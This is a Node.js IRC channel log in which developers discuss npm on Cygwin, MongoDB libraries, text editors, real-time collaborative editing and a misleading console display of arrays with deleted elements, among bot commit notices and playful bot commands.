finally for osx! cool. [18:56] bingomanatee: [18:56] Nuck has joined the channel [18:56] industrial: bingomanatee: what? just compile it? [18:57] bingomanatee: I can - but why, if there's an installer? [18:57] Ricki` has joined the channel [18:58] prettyrobots has joined the channel [18:58] kiffness has joined the channel [18:58] TheJH: ping DrMcKay [18:59] tk has joined the channel [18:59] kiffness has joined the channel [19:00] Glenjamin_ has joined the channel [19:00] enmand has joined the channel [19:00] matyr has joined the channel [19:01] kiffness has joined the channel [19:02] TheJH: !admin eval global.mckay = setInterval(function(){irc.privmsg('DrMcKay', 'flood ping (until you respond)')}, 10000) [19:02] jhbot: [object Timer] [19:03] danmactough has joined the channel [19:04] godzirra: slickplaid: So how do I just get one key? I've got hgetall working, but I don't seem to be able to get hget working. [19:05] Nuck: morning [19:07] Nuck: TheJH: Haha epic [19:07] mraleph has joined the channel [19:08] TheJH: Nuck, thanks :) [19:09] TheJH: huh, what was that? [19:09] TheJH: dmkbot gone? [19:09] dmkbot has joined the channel [19:10] TheJH: hmm... is this an evil plot by DrMcKay to take revenge by adding stuff to his bots code (which he can't do live)? [19:11] dmkbot has joined the channel [19:11] TheJH: ah, it's probably a bug, and I know he's using forever to keep it alive [19:11] TheJH: ... [19:11] TheJH: be prepared for the endless rejoin :D [19:13] kenperkins has joined the channel [19:14] dnyy has joined the channel [19:14] garrensmith has joined the channel [19:15] No9 has joined the channel [19:16] TheJH: !admin eval irc.on('privmsg', function(args){if (args.person.nick=='DrMcKay')clearInterval(global.mckay)}) [19:16] jhbot: [object Object] [19:16] TheJH: I'm gone, eating something, and I want my bot to stop when he reacts :D [19:17] silky has joined the channel [19:19] matyr has joined the channel [19:20] zeiris has joined the channel [19:20] eee_c has joined the channel [19:21] apoc has joined the channel [19:21] PhilK has joined the channel [19:22] DrMcKay: WHAT THE FUCK IS WRONG WITH THIS BOT?! [19:22] DrMcKay: THERE *IS* ROUTE TO HOST!!! [19:22] DrMcKay: !ping [19:22] dmkbot: DrMcKay, pong [19:22] DrMcKay: yeah, right [19:22] DrMcKay: now you're being nic [19:22] DrMcKay: *nice [19:22] DrMcKay: I HATE YOU! [19:25] kiffness has joined the channel [19:25] jbrokc has joined the channel [19:26] bradleymeck has joined the channel [19:27] kenperkins: what do you guys use to render json objects out in your admin tools? [19:27] Nuck: render them? [19:27] kiffness has joined the channel [19:27] Nuck: JSON.parse and JSON.stringify? [19:28] alaudidae has joined the channel [19:29] escii has joined the channel [19:29] kenperkins: i mean actually display the json in a webpage in a pretty way [19:29] kenperkins: not the parsed json [19:29] CarterL has joined the channel [19:30] thalll_ has joined the channel [19:31] javaanse_jongens has joined the channel [19:32] champL has joined the channel [19:33] matyr_ has joined the channel [19:33] champL: Is it possible to declate variables when running the .js file in windows? [19:33] champL: example run program.js varibale1 vairbale2 [19:34] cognominal has joined the channel [19:34] sirdancealot has joined the channel [19:34] Dmitrijus: kenperkins: what is something i wanted to do for a long time now, but sadly, i dont know anything, which would do that, for the exception of couchdb's sofa, of course :) [19:35] Dmitrijus: kenperkins: s/what/that/ [19:35] jamescarr: anyone got a good example of posting a document with file attachments in couchDB? [19:35] kenperkins: Dmitrijus: It seems like a kind of needed low level admin tool for any no-sql store [19:35] Nuck: kenperkins: Try jsbeautifier.org? [19:36] kenperkins: Nuck: yea, look more for a module or js lib to do it [19:36] kenperkins: rather than a web ui [19:36] Dmitrijus: kenperkins: yep [19:36] versicolor has joined the channel [19:36] matyr has joined the channel [19:36] Nuck: kenperkins: jsbeutifier is written in JS, port it to Node? [19:36] kenperkins: gonna do something like that [19:36] kenperkins: I have an admin interface that should let any admin look at any document in any riak bucket [19:36] dimroc has joined the channel [19:36] kenperkins: ideally nicely formatted, and inline editable [19:36] markerdmann has joined the channel [19:37] Nuck: riak? [19:37] Nuck: Mongo 4 life [19:37] joshkehn: Lol [19:37] kenperkins: to each their own [19:37] joshkehn: http://kkovacs.eu/cassandra-vs-mongodb-vs-couchdb-vs-redis [19:37] thesaskwatch has joined the channel [19:37] joshkehn: They all have their uses. [19:37] thesaskwatch: hi, is there a way to use npm on windows [19:37] Nuck: Mongo and Couch are the two Node-favorites [19:37] Nuck: thesaskwatch: Only under Cygwin [19:37] kenperkins: if you say so [19:37] thesaskwatch: I'm using cygwin [19:38] Nuck: I'm in the Mongo camp. [19:38] Dmitrijus: Nuck: indeed they are. :) [19:38] jamescarr: Nuck, not true... Redis and Riak are as well [19:38] isaacs: thesaskwatch: not yet [19:38] thesaskwatch: but is it working under cygwin well? [19:38] Nuck: thesaskwatch: Then do the same install as everywhere [19:38] kenperkins: we use redis and riak [19:38] Nuck: isaacs: It's cygwin [19:38] jbpros has joined the channel [19:38] Nuck: So it works [19:38] Nuck: ACTION uses npm under Cygwin [19:38] jamescarr: I use Mongoose+MongoDB, but I use redis as my session store [19:38] Nuck: thesaskwatch: As far as I can tell, it works [19:38] Nuck: It sucks [19:38] joshkehn: Ug. I don't like Mongoose [19:38] Nuck: But it works [19:38] thesaskwatch: ok, thanks [19:38] Nuck: Mongoose makes me wanna vomit [19:38] godzirra: Does anyone know if the node_redis module supports hget? I can't seem to find anything in the docs, but it seems pretty important to miss. [19:39] godzirra: I'm not getting any errors, its just not getting my value, so I'm curious what I'm doing wrong [19:39] Nuck: Mongoskin is better than Mongoose [19:39] Nuck: Schemas can go suck a dick [19:39] joshkehn: Mongoskin? [19:39] kenperkins: I really like the scale out model inherent in rialk [19:39] kenperkins: riak [19:40] Nuck: joshkehn: Yeah, a futures-providing wrapper around Mongo [19:40] kenperkins: plus, riak offeres a nice intergrated lucene like search option [19:40] joshkehn: Interesting, definitely bookmarking that. [19:41] isaacs: Nuck: I guess thesaskwatch asked if there was a way, not if there was a *good* way [19:41] Nuck: isaacs: hehe [19:41] Nuck: Well, Cygwin works [19:41] isaacs: i consider Cygwin an unacceptably bad experience. better to just get a linux vm or something [19:41] Nuck: Most of the time [19:41] Nuck: Agreed, but when it works it works finely. [19:41] isaacs: Nuck: it breaks for someone daily. [19:41] isaacs: Nuck: and, at best, it's incredibly slow. [19:41] thesaskwatch: under cygwin I get: TypeError: Object # has no method 'lstat' [19:42] isaacs: Nuck: and there's that ^ [19:42] thesaskwatch: while installing [19:42] kenperkins: Totally agree with isaacs on that one. Why fuck your windows install up with cygwin when you can install a vm in like 3 minutes [19:42] Nuck: isaacs: Very true, but it's just REALLY easy to use. [19:42] Nuck: kenperkins: Nobody can set up a VM in 3 minutes [19:42] isaacs: Nuck: a vm is only hard once. cygwin is hard every damn time. [19:42] thesaskwatch: maybe I'll just try with virtual machine [19:42] DrMcKay: why fuck up your PC with Windows install, really? [19:42] isaacs: thesaskwatch: virtualbox is free, but i personally have found vmware to be a bit nicer. [19:42] Nuck: isaacs: Yes, but I can just change a file and it's done. [19:42] slickplaid: Nuck: Use vmware ready made images :D Done in 2 minutes! [19:43] kenperkins: Nuck: VMWare assisted mode can you get your linux iso up in ~3 minutes on my desktop [19:43] isaacs: also, with vmware, you get snapshots [19:43] thesaskwatch: isaacs: yeah I have experience with both [19:43] slickplaid: +1 [19:43] sebastianedwards has joined the channel [19:43] Nuck: I'm actually tempted to switch to Linux [19:43] sirdancealot has joined the channel [19:43] slickplaid: do iiit [19:43] Nuck: But, I can't leave Photoshop :'( [19:43] kenperkins: from osx? [19:43] thesaskwatch: isaacs: I would normally use my arch linux, but I need windoze for work [19:43] Nuck: From Windows [19:43] kenperkins: i left windows when I left MSFT for Clipboard in may [19:44] Nuck: I'll move to Mac [19:44] sirdancealot has joined the channel [19:44] Nuck: Then get TextMate and Mac OS X Snow Leopard :P [19:44] matyr_ has joined the channel [19:44] Nuck: I hear Lion sucks badly [19:45] joshkehn: TextMate is a great editor. [19:45] joshkehn: But it's dated. [19:45] joshkehn: I'm using Sublime more and more now, and keeping my eye on Vico [19:45] Frippe has joined the channel [19:45] slickplaid: hackintosh [19:45] Nuck: joshkehn: I need something capable of getting a TextMate bundle crammed down it. I'm currently using Sublime too [19:45] slickplaid: i made a vmware image with snow leopard when i was doing iphone dev [19:45] Nuck: Sublime is epic [19:45] Skomski has joined the channel [19:46] thesaskwatch: I'm currently wondering which one is better, Linux with windows vm or the other way [19:46] Nuck: But it's not nearly as powerful at TextMate. [19:46] joshkehn: I wish Sublime had an equivelent to TextMate's run command [19:46] joshkehn: Or filter through command. [19:46] joshkehn: By far my favorite feature. [19:46] kenperkins: Sublime? [19:46] Daegalus: Why get textmate? you can get full IDEs and such, Netbeans, Eclipse, you can also run Notepad++ through Crossover, or get vim working over there, or jed, or emacs [19:46] joshkehn: Plus the find and replace sucks in Sublime [19:46] Nuck: Anyone here use Chocolat? [19:46] Nuck: ewwwwww Daegalus [19:46] Nuck: Fuck IDEs [19:46] kenperkins: I'm currently trying out BBedit. I tried chocolat, coda and passed on them [19:46] joshkehn: Sublime http://www.sublimetext.com/2 [19:46] thesaskwatch: yeah, you can do the filter thing with vim easily [19:46] Nuck: And fuck CLI editors [19:47] slickplaid: vim > * [19:47] DrMcKay: slickplaid++ [19:47] v8bot_: DrMcKay has given a beer to slickplaid. slickplaid now has 1 beers. [19:47] catb0t: slickplaid now has 1 beer [19:47] edude03 has joined the channel [19:47] Nuck: I'm tempted to use Coda, since the collaborative editing features seem qutie useful :V [19:47] willwhite has joined the channel [19:47] Dmitrijus: vim <3 [19:47] joshkehn: Code is nice but wasn't very powerful. [19:47] slickplaid: yes! [19:47] kenperkins: Coda is a pita with multiple windows [19:47] slickplaid: take a minute to fix vim up and it rivals anything i've ever used [19:47] DrMcKay: Dmitrijus++ [19:47] v8bot_: DrMcKay has given a beer to Dmitrijus. Dmitrijus now has 1 beers. [19:47] catb0t: Dmitrijus now has 1 beer [19:47] kenperkins: (it has a major focus bug) [19:47] DrMcKay: I have my .vim dir always with me :D [19:48] Nuck: joshkehn: eek, then I might just not use Coda then [19:48] kenperkins: more than "IDE" I like a visual file browser [19:48] sirdancealot has joined the channel [19:48] slickplaid: DrMcKay++ [19:48] v8bot_: slickplaid has given a beer to DrMcKay. DrMcKay now has 2 beers. [19:48] catb0t: DrMcKay now has 1 beer [19:48] joshkehn: Definitely not worth the $99 to me. [19:48] Nuck: Sublime Text is a wonderful app [19:48] Nuck: And well-priced too [19:48] garrensm_ has joined the channel [19:48] thesaskwatch: I've heard webstorm is very good [19:48] joshkehn: Vico is meant to be an upgraded gvim (vicoapp.com) [19:48] Nuck: I wish I had money to actually pay for it right now. But I'll buy it once I have a Mac most likely [19:49] Nuck: It seems like a big up-and-comer [19:49] Nuck: Very lightweight, INSANELY robust (it's never crashed, but my computer has, and it always recovers perfectly), and growing in power [19:51] mrdoodles has joined the channel [19:51] jj0hns0n has joined the channel [19:54] matyr has joined the channel [19:54] AAA_awright: Is there any good IDE that supports collaborative editing? [19:54] CIA-69: libuv: 03Bert Belder 07master * r7b87ff7 10/ (include/uv-private/uv-win.h src/win/cares.c src/win/core.c): win: rename uv_loop_t.ares_channel to ares_chan to avoid confusing g++ - http://git.io/pWPJ4Q [19:55] thesaskwatch: eclipse has some good support for this [19:55] DrMcKay: isaacs: ping? [19:55] piscisaureus_ has joined the channel [19:55] isaacs: hi [19:55] joshthecoder has joined the channel [19:55] DrMcKay: isaacs: I've heard you wanted some voting system for npm [19:55] isaacs: DrMcKay: yeah, TheJH did something like that, haven't had a chance to get on that pull req yet [19:56] Nuck: MongoDB: "For most things that you would do with MySQL or PostgreSQL, but having predefined columns really holds you back." [19:56] Nuck: That about sums it up [19:56] DrMcKay: isaacs: exactly. puuuuuuuullll, pleeeease! :) [19:56] thesaskwatch: eclipse real time shared editing http://vimeo.com/1195398 [19:56] isaacs: haha, i will, soo [19:56] isaacs: *soon [19:56] isaacs: i have a huge backlog [19:56] DrMcKay: great :) [19:56] Nuck: isaacs: Jump to that one first :P [19:56] AAA_awright: I tried it with Eclipse, it's big and bloated [19:56] AAA_awright: Eclipse is [19:57] Nuck: AAA_awright: Yup, can't stand it [19:57] Nuck: Cloud9IDE should add collaborative editing :D [19:57] Nuck: using socket.io [19:57] AAA_awright: No reason they couldn't [19:57] thesaskwatch: AAA_awright: maybe but it is also powerful [19:57] Nuck: Somebody fork it and implement it! [19:58] `3rdEden: Nuck it has? [19:58] `3rdEden: Cloud9IDE is already using Socket.IO latest [19:58] Nuck: `3rdEden: I don't think Cloud9IDE supports real-time collaborative eiditing though [19:58] `3rdEden: http://cloud9ide.posterous.com/new-16-release [19:59] `3rdEden: I'm not sure Nuck [19:59] Nuck: Where you can see your other collaborator's insertion points, etc. [20:00] `3rdEden: idk :P [20:00] `3rdEden: I guess not then [20:00] `3rdEden: I think it was already on list of todo's then [20:00] frewsxcv has joined the channel [20:00] `3rdEden: I talked with them about it during nodecamp.eu [20:01] AAA_awright: Isn't that hard to do? [20:01] tomtomaso has joined the channel [20:01] AAA_awright: How did Google do it? [20:01] AAA_awright: Programming a carot is a lot harder than it seemed I thought [20:01] Nuck: AAA_awright: I imagine it's a lot easier with socket.io [20:02] Nuck: Oh, the caret? [20:02] AAA_awright: Yeah [20:02] Nuck: Yeah, probably in a non-monospace font [20:02] AAA_awright: caret [20:02] Nuck: But code is monospace [20:02] tomtomaso has joined the channel [20:03] AAA_awright: the DOM inspector says it's just a styled span that's manipulated with the DOM [20:03] Nuck: orly? [20:03] Nuck: AAA_awright: absolute or what? [20:03] AAA_awright: Inline [20:04] Nuck: The HARD part is making sure all the users are in-sync [20:04] Nuck: What happens if a user adds a line as another user changes text 10 lines lower [20:04] Nuck: And that added line isn't sent to the user changint the text in time [20:05] Nuck: Suddenly, things get desynchonized [20:05] AAA_awright: They wrote a paper on it I think [20:05] champL: What's the defualt timeout for http.get ? [20:05] AAA_awright: Progressive sync editing or something [20:05] AAA_awright: I'm sure only a dozen people have seen it nevermind even bothered to read it [20:05] thesaskwatch: google had some algorithm for it [20:05] thesaskwatch: and it is open sourced [20:06] edude03 has joined the channel [20:06] igl1 has joined the channel [20:06] thesaskwatch: http://www.waveprotocol.org/whitepapers/operational-transform [20:06] Nuck: thesaskwatch: hehe, that's a different concept [20:07] Nuck: Wave !== Documents [20:07] AAA_awright: That's it! [20:07] thesaskwatch: could you explain? [20:07] topaxi has joined the channel [20:08] thesaskwatch: ah .. ok [20:08] thesaskwatch: it's a part of the protocol [20:09] Frippe has joined the channel [20:11] AAA_awright: thesaskwatch: There was an actual pdf of this [20:12] albertosheinfeld has joined the channel [20:12] Frippe has joined the channel [20:13] Frippe has joined the channel [20:15] champL has left the channel [20:15] matyr has joined the channel [20:16] adrianmg has joined the channel [20:18] alek_b has joined the channel [20:20] Nuck: `3rdEden: Is observer.no.de broken on Chrome 14? [20:20] `3rdEden: Broken would be a big work [20:20] `3rdEden: Slow, yes [20:20] Nuck: haha [20:20] Nuck: Well, slow it is [20:21] `3rdEden: no.de 's / nodjitsu's proxy doesn't support the latest websocket specifications [20:21] TheJH: someone here who wants to upvote my pro-nodejs answer here? http://maxpert.tumblr.com/post/9677133069/node-on-nails [20:21] `3rdEden: so it's a while before Socket.IO's connect timeout kicks in [20:21] TheJH: I'm basically saying that he's just cheating [20:22] igl has joined the channel [20:23] meatmanek has joined the channel [20:24] `3rdEden: Nuck but the site slow in general, it's currently on the front page of hacker news :)) [20:25] Nuck: `3rdEden: You shitting me? Congrats! [20:25] d3x7r0: guys quick question: is there anything I can use to simulate a simple include/require on client-side javascript? btw it is ok to have a compile step [20:25] Nuck: Remember when no.de was actual VPSes? [20:25] Nuck: Yeah, those were good times [20:25] mavus has joined the channel [20:26] `3rdEden: Nuck: yeh it's the 9th item :) [20:26] tomtomaso has joined the channel [20:26] `3rdEden: But non of them are voting, so it isn't realy helpful ;) [20:26] CIA-69: libuv: 03Igor Zinkovsky 07master * r060026c 10/ (8 files in 5 dirs): windows: uv_fs_link + uv_fs_symlink - http://git.io/0BQ2tA [20:26] CIA-69: libuv: 03Peter Bright 07master * r7db243d 10/ (common.gypi src/win/fs.c src/win/winapi.h test/test-fs.c): [20:26] CIA-69: libuv: Bring inline with node common.gypi. [20:26] CIA-69: libuv: Win32 readlink() - http://git.io/tvGctQ [20:26] igl has joined the channel [20:27] smathy has joined the channel [20:27] `3rdEden: But it's still awesome nonetheless, my first project that landed on hackernews front page ;p [20:27] joshkehn: d3x7r0: Browserify? [20:27] tomtomaso has joined the channel [20:28] d3x7r0: joshkehn: the thing is that I'm already using ender. I was looking for something simple to help me organize files while developing while still compiling down to a single file for delivery [20:28] joshkehn: RequireJS? [20:28] joshkehn: d3x7r0: RequireJS? [20:29] igl1 has joined the channel [20:30] d3x7r0: joshkehn: I'll chek it out. I'll probably end up using ender probably. I was thinking of using browserify but I enjoy ender and don't want to try and replicate the "jeesh" by myself [20:30] drakonite has joined the channel [20:32] xeodox has joined the channel [20:33] WRAz has joined the channel [20:34] TechCel has joined the channel [20:36] fly-away has joined the channel [20:37] Nuck: `3rdEden: I'm curious, how does it deal with password inputs? [20:37] necrodearia has joined the channel [20:39] elijah has joined the channel [20:39] Prometheus has joined the channel [20:40] Sorella has joined the channel [20:42] `3rdEden: Nuck I detect if the target element is a password field [20:42] `3rdEden: and replace all chars with *'s [20:42] `3rdEden: So no passwords are stored, or send over the wire [20:42] matyr_ has joined the channel [20:43] TheJH: huh? what did `3rdEden do? [20:43] `3rdEden: TheJH I entered the NodeKnockout [20:43] `3rdEden: http://observer.no.de/vote [20:43] TheEmpath has joined the channel [20:44] TheEmpath: hail nodelings [20:44] TheEmpath: so I finally got around to upgrading from 03 to 0.4.11 and npm now has local and global installations.... these are good things [20:44] isaacs: TheEmpath: :) [20:45] TheEmpath: cloned from git, switched to 0.4.11 branch, configure, make, install, curled the new npm, wiped all the old libs, installed local to the new ones [20:45] TheEmpath: things looked smooth [20:45] TheEmpath: did npm install mime, then i CLIed node and tried var require('mime'); and i got an cannot find mime exception [20:46] matomesc has joined the channel [20:46] isaacs: TheEmpath: if you install it locally, you should be able to require() it [20:46] TheEmpath: i guess i done goofed on configuration somewhere... [20:46] TheJH: TheEmpath, did you install in the same directory in which you want to use it? [20:46] isaacs: $ npm install mime [20:46] isaacs: mime@1.2.2 ./node_modules/mime [20:46] isaacs: $ node -e 'require.resolve("mime")' [20:47] isaacs: . /Users/isaacs/dev-src/js/node/node_modules/mime/mime.js [20:47] TheEmpath: i see [20:47] TheEmpath: my project layout is thus: projectRoot [ api, core, libraries, models, public ] [20:48] TheEmpath: inside libraries is node_modules which has all npm libraries [20:48] TheEmpath: i start the prject from the projectRoot [20:48] isaacs: TheEmpath: why not put node_modules in projectRoot? [20:48] TheEmpath: any config pathing i gotta tinker with/ [20:48] isaacs: where's your package.json file? [20:48] TheJH: TheEmpath, node_modules must be directly in the project root [20:48] TheEmpath: ahhh [20:48] TheEmpath: lemme give that a whirl [20:48] isaacs: package.json and node_modules should be siblings [20:49] isaacs: lib is for YOUR modules [20:49] isaacs: (at least, that's the convention) [20:49] TheJH: TheEmpath, node won't dig through your whole folder structure :D [20:49] TheEmpath: i shee [20:49] TheEmpath: and thus my problem is solved [20:49] TheEmpath: as always [20:49] TheEmpath: ACTION tips hat. [20:49] TheEmpath: im new to post 0.3 node [20:50] `3rdEden has joined the channel [20:50] TheEmpath: i shall google package.json [20:50] isaacs: :) [20:50] isaacs: it's nice [20:50] isaacs: TheEmpath: http://npmjs.org/doc/json.html [20:50] TheEmpath: superior [20:51] TheJH: `3rdEden, that code isn't open source? [20:52] TheEmpath: i was balls deep in making a distributed node setup for a game when i got diverted into making the html5 client... now i got the POC on the client done and node done changed into something else since then! [20:52] `3rdEden: TheJH nope [20:52] TheEmpath: so im stepping out of a time capsule :X [20:52] mikeal has joined the channel [20:52] `3rdEden: I might, I might not. I'm gonna build a server out of it if I win, but I havent decided yet if that service should be open source or not [20:53] TheJH: `3rdEden, if you don't open source it, I won't be able to attack a local instance :( [20:54] `3rdEden: TheJH :'( [20:54] CIA-69: node: 03Bert Belder 07master * rcb1a21b 10/ (15 files in 5 dirs): Upgrade libuv to 7b87ff7c9b - http://git.io/cRqY_w [20:54] CIA-69: node: 03Bert Belder 07master * rc82ab45 10/ (src/tcp_wrap.cc src/udp_wrap.cc): uv_getsockname got renamed - http://git.io/8SbezA [20:54] CIA-69: node: 03Bert Belder 07master * r3742aee 10/ wscript : resolve mingw32 build problem - http://git.io/nQBudw [20:58] shipit has joined the channel [20:58] tlocalhos has joined the channel [21:00] dcelix has joined the channel [21:01] jj0hns0n has joined the channel [21:02] edude03 has joined the channel [21:02] godzirra: So is mongoose a good mongodb module to use? [21:04] abiii has joined the channel [21:05] kriszyp has joined the channel [21:05] zeade has joined the channel [21:06] jbrokc has left the channel [21:07] Spion has joined the channel [21:08] JJMalina has joined the channel [21:08] Nuck: godzirra: I'd rather build a mongo module out of my own feces :V [21:08] godzirra: wow. That good huh? [21:08] godzirra: What's a good one to use then? [21:09] Nuck: I prefer mongo-native [21:09] godzirra: And why do you dislike it so much? [21:09] Nuck: I hate schemas [21:09] godzirra: Ah. [21:09] godzirra: Why? [21:09] Nuck: IT seems to defeat the purpose of Mongo, to have a more freeform database than traditional SQL relational databases [21:09] Kos_ has joined the channel [21:09] Nuck: I'm currently using Mongoskin, a Futures wrapper around mongo-native [21:09] Kos_: Hello there [21:10] topaxi has joined the channel [21:10] Kos_: I've found something strange in node.js, dunno if bug or feature... help? :) [21:10] Nuck: Kos_: Fire away [21:10] Kos_: var a = [1,2,3] [21:10] Kos_: delete a[1] [21:10] TheJH: !@Kos_ mem askask [21:10] jhbot: i don't know what a askask is [21:10] Kos_: chrome says [1, undefined, 3] [21:10] TheJH: stupid jhbot :( [21:10] Kos_: node says [1, 3] [21:10] N0va has joined the channel [21:11] TheJH: Kos_, it's the same array, nodes console just prints it weird [21:11] Nuck|mobile has joined the channel [21:11] TheJH: Kos_, try JSON.stringify(a) or so [21:11] Nuck: heh [21:11] Kos_: hm right [21:11] Kos_: the length is still 3 [21:12] Metal3d has joined the channel [21:12] Kos_: what's the deal with the console then? [21:12] TheJH: Kos_, just a weirdness in how the nodejs console shows stuff, no different behavior for your code [21:12] sveisvei_ has joined the channel [21:12] balaa has joined the channel [21:12] TheJH: Kos_, the console uses some pretty custom code for pretty-printing... dunno whether it's already a github issue... [21:13] zomgbie has joined the channel [21:13] TheJH: !issue search console array [21:13] jhbot: found issues: 7, showing the first 3 [21:13] jhbot: Issue: https://github.com/joyent/node/issues/410 : Weird 'require' behaviour [21:13] jhbot: Issue: https://github.com/joyent/node/issues/495 : HTTP polling broken with keep alive and GET requests [21:13] sivy has joined the channel [21:13] jhbot: Issue: https://github.com/joyent/node/issues/1105 : Issue of Script.runInNewContext and vm.runInNewContext [21:13] TheJH: meh [21:14] matyr has joined the channel [21:14] Kos_: JSON.stringify says [1, null, 3], even easier to get confused :) [21:14] Kos_: i guess i should open an issue on github? [21:16] TheJH: Kos_, sounds good [21:16] TheJH: Kos_, ryah even got confused because of that in a life-node-hacking video some time ago :D [21:17] savage- has left the channel [21:17] TheJH: Kos_, the was tricked into thinking that arr.splice(i,1) has the same effect as delete arr[i] :D [21:17] TheJH: s/the/he/ [21:18] Kos_: :) just like me just a couple of mins ago [21:18] DrMcKay has joined the channel [21:18] DrMcKay: TheJH: yeah, I've tried to do it today as well :D [21:18] TheJH: DrMcKay, the delete arr[i] thing? [21:18] tbranyen: xD fuggin delete [21:18] TheEmpath: upgrade from 0.3 to 0.4.11 with standing project went off successfully! http://www.youtube.com/watch?v=ubagNlut_lE [21:18] DrMcKay: TheJH: yes :) [21:18] DrMcKay: TheJH: gz :) [21:19] TheJH: DrMcKay, gz? [21:19] DrMcKay: TheJH: congratulations [21:19] tbranyen: gazonk [21:19] mikeal has joined the channel [21:19] Kos_: even funnier- [21:19] Kos_: if you hardcode that undefined into array definition, it gets written [21:20] Kos_: but if it comes from delete, it doesn't [21:20] dgathright has joined the channel [21:20] TheJH: !admin eval console.log.toString() [21:20] jhbot: function () { [21:20] jhbot: process.stdout.write(format.apply(this, arguments) + '\n'); [21:20] jhbot: } [21:20] TheJH: meh, what was format again? [21:21] deleo has joined the channel [21:21] deleo: hi all [21:21] muppetty has joined the channel [21:21] deleo: where can i find some non trivial client-server node.js sample code? [21:21] muppetty: public greetings, deleo [21:22] TheJH: !admin eval require('util').format([1,undefined,3]) [21:22] jesusabdullah: v8> format.toString() [21:22] v8bot_: jesusabdullah: ReferenceError: format is not defined [21:22] jesusabdullah: maaan [21:23] dmkbot: joyent/node: Kos: Misleading console output for arrays with undefined - https://github.com/joyent/node/issues/1651 [21:23] TheJH: ah, in v0.4.11 (which my bot afaik uses), it's a local, unexported function :( [21:23] JumpMast3r has joined the channel [21:24] Kos_: K, the bug's there [21:25] Kos_: btw, success of the day: discovered that socket.io seems to be able to result in short latencies [21:25] Kos_: can't wait to try it out on a game [21:25] Nuck|mobile has joined the channel [21:26] Kos_: anyway, need sleep. Thanks for the help & gnight :) [21:29] postwait has joined the channel [21:30] enhydra has joined the channel [21:33] JulioBarros has joined the channel [21:34] matyr has joined the channel [21:39] matyr has joined the channel [21:43] pandeiro has joined the channel [21:44] isaacs has joined the channel [21:44] sebastianedwards has joined the channel [21:45] JJMalina has joined the channel [21:48] deimos_ has joined the channel [21:49] AAA_awright: Nuck: Me and a friend or two are getting started on this chat client, do you have a protocol in mind? [21:49] sounko has joined the channel [21:49] dmkbot: joyent/node: Skomski: Added new win32 platform function: getNetworkInterfaces() - https://github.com/joyent/node/issues/1652 [21:50] Nuck|mobile: AAA_awright: Joltproject.com [21:50] Nuck|mobile: That's about it [21:50] balaa has joined the channel [21:51] dmkbot: joyent/node: Skomski: Added new win32 platform function: getNetworkInterfaces() - https://github.com/joyent/node/issues/1652 [21:51] Nuck|mobile: http://botdom.com/documentation/DAmn too [21:52] Nuck|mobile: I want cloud9ide for iPhone [21:52] Nuck|mobile: It'd rock so hard [21:52] tylerstalder has joined the channel [21:53] balaa has joined the channel [21:54] niftylettuce has joined the channel [21:56] ttpva has joined the channel [21:56] bassui has joined the channel [21:56] kmiyashiro has joined the channel [21:58] galaxywatcher has joined the channel [21:58] replore_ has joined the channel [21:58] replore has joined the channel [21:59] AAA_awright: Nuck|mobile: I was just going to use BSON/JSON depending on the client [21:59] AAA_awright: But what grammar is the question [21:59] AAA_awright: or rather, vocabulary [21:59] AAA_awright: Something that works between IRC, XMPP, etc [21:59] dmkbot: joyent/node: tshinnic: add positioned writing feature to fs.WriteStream - https://github.com/joyent/node/issues/1645 [22:01] Vertice has joined the channel [22:02] matomesc has joined the channel [22:03] igl has joined the channel [22:04] rilkeanheart has joined the channel [22:07] davidbanham has joined the channel [22:07] tylerstalder has joined the channel [22:07] booo has joined the channel [22:10] dmkbot: joyent/node: Kos: Misleading console output for arrays with undefined - https://github.com/joyent/node/issues/1651 [22:11] DrMcKay: what you guys think about printing arrays like that ^ [22:12] CarterL has joined the channel [22:13] matomesc has joined the channel [22:13] tylerstalder has joined the channel [22:14] CIA-69: libuv: 03Ben Noordhuis 07master * rd3f60da 10/ src/unix/fs.c : unix: implement uv_fs_readlink - http://git.io/JTauIw [22:15] socialhack has left the channel [22:15] dshaw_ has joined the channel [22:15] boogyman has joined the channel [22:16] c4milo1 has joined the channel [22:18] radiodario has joined the channel [22:18] temp02 has joined the channel [22:19] dmkbot: joyent/node: Kos: Misleading console output for arrays with undefined - https://github.com/joyent/node/issues/1651 [22:24] matyr_ has joined the channel [22:24] nitinb has joined the channel [22:25] brianseeders has joined the channel [22:27] isaacs has joined the channel [22:27] dmkbot: joyent/node: Kos: Misleading console output for arrays with undefined - https://github.com/joyent/node/issues/1651 [22:28] stonecobra has joined the channel [22:33] TokyoDan has joined the channel [22:33] uptownben: Damn node.js ROCKS!!!!!!!!!!!!!!!!!!!!!!!!! [22:34] jhbot: uptownben, yup, and node robots rock even moar :) [22:34] meatmanek: hmm [22:34] meatmanek: it would be fun to program a robot in js [22:35] boogyman: meatmanek: there's already an API built [22:35] meatmanek: boogyman: link? [22:36] bingomanatee: I have a ticket to Node Conf -- where are the buses taking off from tomorrow? [22:38] boogyman: http://goo.gl/QhEtH @ meatmanek [22:38] meatmanek: oh, IRC bot [22:38] matyr has joined the channel [22:38] meatmanek: I was talking about physical robots [22:39] mrdoodles has joined the channel [22:40] mrdoodles: hey everyone, maybe if isaacs is around - we have a new infrastructure all powered by node (yayy!!!). I like creating robust modules now, yet some are private git repos. Can I (without setting up my own npm server) specify a git repo for npm install? in my package.json [22:41] isaacs: mrdoodles: yes. [22:41] soapyillusions has joined the channel [22:41] isaacs: { "dependencies": { "foo" : "git://blah" } } [22:41] mrdoodles: sweet. [22:41] mrdoodles: thx [22:41] isaacs: mrdoodles: only in the very latest npm [22:41] isaacs: 1.0.27 [22:41] isaacs: it's brand new [22:42] mrdoodles: isaacs: brand new like after 2am last night EST when we spoke? :P [22:42] mrdoodles: got it [22:42] mrdoodles: cool [22:42] jmoyers has joined the channel [22:46] JulioBarros has joined the channel [22:49] CIA-69: libuv: 03Ryan Dahl 07master * ra52a2c7 10/ src/unix/darwin.c : Fix warning on darwin - http://git.io/KIzsmg [22:50] strangedude has joined the channel [22:51] bassui: anyone good with populate() and mongoose? [22:51] sivy has joined the channel [22:51] mrdoodles: what are the sexiest most web 3.0 docs anyone has seen? auto generating docs and trying to remember where i saw these beautiful docs hmmmmmm [22:52] tbranyen: sexdocs 3.0 [22:52] blaenk has joined the channel [22:52] blaenk has joined the channel [22:53] Garo_ has joined the channel [22:53] squeese has joined the channel [22:53] ceej has joined the channel [22:54] cha0s has joined the channel [22:54] cha0s has joined the channel [22:56] Vertice has joined the channel [22:57] DennisRasmussen has joined the channel [22:58] slyphon has joined the channel [22:59] CIA-69: libuv: 03Ben Noordhuis 07master * r826db45 10/ test/test-fs.c : [22:59] 